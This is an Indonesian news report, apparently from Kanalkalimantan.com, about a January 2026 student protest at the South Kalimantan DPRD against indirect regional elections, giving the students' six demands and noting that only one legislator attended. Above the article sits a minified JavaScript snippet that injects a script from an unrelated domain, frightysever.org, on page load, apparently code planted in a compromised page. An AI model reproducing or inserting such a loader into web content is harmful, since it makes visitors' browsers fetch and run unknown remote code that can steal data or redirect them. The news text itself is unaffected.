(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan terkait wacana Pilkada melalui DPRD, Kamis (15/1/2026) siang.

Massa yang tergabung dalam Aliansi BEM se-Kalsel itu menyebut usulan Pilkada tidak langsung adalah bentuk kemunduran demokrasi.

Koordinator Pusat Aliansi BEM se-Kalsel, M Irfan Naufal menyampaikan, ada enam tuntutan mahasiswa yang disusun berdasarkan kajian akademis.

Pertama, menuntut pemerintah pusat dan DPR RI untuk menghentikan wacana Pilkada melalui DPRD.

Kedua, menuntut penegasan komitmen konstitusional negara terhadap demokrasi elektoral langsung.

Ketiga, menuntut pembebasan segera dan tanpa syarat terhadap pejuang demokrasi yang ditahan sebagai tahanan politik.

Keempat, menuntut pelaksanaan audit lingkungan yang independen, transparan, dan berbasis data ilmiah, serta penindakan hukum tegas terhadap penyebab krisis ekologis.

Kelima, menagih janji atas nota kesepahaman terkait pembatalan penetapan Taman Nasional Meratus yang mengancam ruang hidup masyarakat adat dan dilakukan tanpa kajian sosial-lingkungan yang memadai.

Keenam, menuntut Presiden dan DPR RI segera mengesahkan undang-undang pro rakyat.

Untuk itu, pihak mahasiswa ingin Ketua DPRD Kalsel, H Supian HK meneruskan aspirasi mereka ke pemerintah pusat dan DPR RI.

“Kami mewakili masyarakat Kalsel agar kiranya Ketua DPRD Kalsel punya atensi khusus dan jawaban yang konkret,” ujar Naufal.

Hal itu dilakukan agar mengetahui bagaimana komitmen DPRD Kalsel dalam menyikapi persoalan yang dituntut.

Sayangnya, anggota dewan termasuk Ketua DPRD Kalsel tidak berhadir di Rumah Banjar lantaran mengisi jadwal reses di tanggal 14-21 Januari 2026.

H Muhammad Rosehan NB, satu-satunya wakil rakyat yang hadir karena dapilnya berdekatan dengan gedung DPRD Kalsel yakni Kota Banjarmasin.

Politisi PDI Perjuangan itu mengatakan hal tersebut kiranya bisa dimaklumi sebab anggota dewan melaksanakan reses di dapil masing-masing yang tempatnya jauh dari Kota Banjarmasin.

“Kalau kami Dapil 1 cuma di Kota Banjarmasin, tapi Dapil 4 dan 5 misalnya itu 3 kabupaten yang jaraknya berjauhan,” jelas Rosehan.

Kendati demikian, dia sudah berupaya menghubungi Ketua DPRD Kalsel melalui sambungan telepon agar bisa berdialog dengan mahasiswa tapi tidak berhasil.

Akhirnya, mahasiswa memilih untuk menyatakan sikap apabila Ketua DPRD Kalsel tidak menemui mahasiswa dalam waktu dekat, maka mereka akan kembali turun ke jalan dengan massa lebih banyak. (Kanalkalimantan.com/fahmi)

Reporter: fahmi
Editor: bie